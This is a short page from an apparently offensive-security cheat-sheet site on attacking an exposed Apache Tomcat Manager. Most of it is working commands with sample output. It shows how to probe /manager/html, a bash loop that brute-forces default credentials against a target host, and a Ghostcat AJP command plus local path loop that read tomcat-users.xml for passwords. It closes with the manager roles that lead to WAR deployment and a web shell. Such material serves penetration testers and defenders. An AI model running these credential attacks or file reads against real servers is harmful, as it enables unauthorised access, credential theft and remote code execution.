Skip to content
HackIndex logo

HackIndex

Tomcat Manager Exposed

2 min read Mar 30, 2026

The Tomcat manager application at /manager/html enables deploying and undeploying WAR files — direct remote code execution when accessible. It should never be reachable from untrusted networks. When it is exposed and accepts default or weak credentials, it is an immediate path to a JSP web shell. Confirm the manager is deployed through Tomcat HTTP enumeration before testing credentials here.

Confirm Manager Accessibility

┌──(kali㉿kali)-[~]
└─$ curl -skI http://$TARGET_IP:8080/manager/html | grep -iE 'HTTP|www-authenticate|location' 
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Tomcat Manager Application"

401 with a Basic auth challenge confirms the manager is deployed and requires credentials. A 403 means the manager is deployed but access is restricted by IP — check whether AJP bypasses this restriction. A 404 means the manager was removed or renamed.

Test Default Credentials

Tomcat ships without a default manager account but installations frequently use predictable credentials:

┌──(kali㉿kali)-[~]
└─$ for cred in admin:admin admin:password admin:tomcat tomcat:tomcat tomcat:s3cret manager:manager admin:s3cret admin: root:root; do
code=$(curl -skI http://$TARGET_IP:8080/manager/html -u $cred | grep HTTP | awk '{print $2}')
echo "$code $cred"
[ "$code" = "200" ] && echo "VALID CREDENTIALS: $cred" && break
done 
401 admin:admin
401 admin:password
200 tomcat:s3cret
VALID CREDENTIALS: tomcat:s3cret

Check tomcat-users.xml if Readable

When you have LFI, file read via Ghostcat, or another read path, check tomcat-users.xml for the actual configured credentials:

┌──(kali㉿kali)-[~]
└─$ # Via Ghostcat if vulnerable
┌──(kali㉿kali)-[~]
└─$ python3 Tomcat-Ajp-lfi.py $TARGET_IP -p 8009 -f ../conf/tomcat-users.xml 2>/dev/null 
<tomcat-users>
  <user username="admin" password="manager_pass" roles="manager-gui"/>
  <user username="tomcat" password="s3cret" roles="manager-script,manager-status"/>
</tomcat-users>
Explain command
$TARGET_IP Target host IP address passed as a positional argument.
-p 8009 Specifies the AJP connector port to target (default AJP is 8009).
-f ../conf/tomcat-users.xml File path to read via LFI, targeting Tomcat credentials file.
2>/dev/null Redirects stderr to /dev/null to suppress error messages.
┌──(kali㉿kali)-[~]
└─$ # Common install paths
for path in /etc/tomcat9/tomcat-users.xml /opt/tomcat/conf/tomcat-users.xml /usr/share/tomcat9/etc/tomcat-users.xml; do
[ -r "$path" ] && echo "=== $path ===" && cat "$path" | grep -i 'user\|password\|role'
done

Manager Roles Reference

Manager access is role-based — different roles enable different capabilities:

Role

Enables

manager-gui

Full web UI — WAR deploy, undeploy, start/stop

manager-script

Text/API interface — WAR deploy via curl

manager-status

Status page only — server info, no deployment

admin-gui

Host manager web UI — add/remove virtual hosts

manager-gui and manager-script both enable WAR deployment — either leads to code execution. Move to WAR deployment exploitation once valid credentials are confirmed.

References